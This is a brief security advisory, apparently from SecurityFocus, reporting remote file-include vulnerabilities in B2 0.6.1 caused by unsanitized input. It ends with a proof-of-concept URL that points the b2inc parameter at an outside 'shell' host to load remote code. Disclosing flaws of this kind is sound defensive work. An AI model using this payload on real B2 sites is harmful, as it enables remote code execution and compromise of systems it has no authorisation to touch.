source: http://www.securityfocus.com/bid/23659/info

B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2archives.php?b2inc=http://shell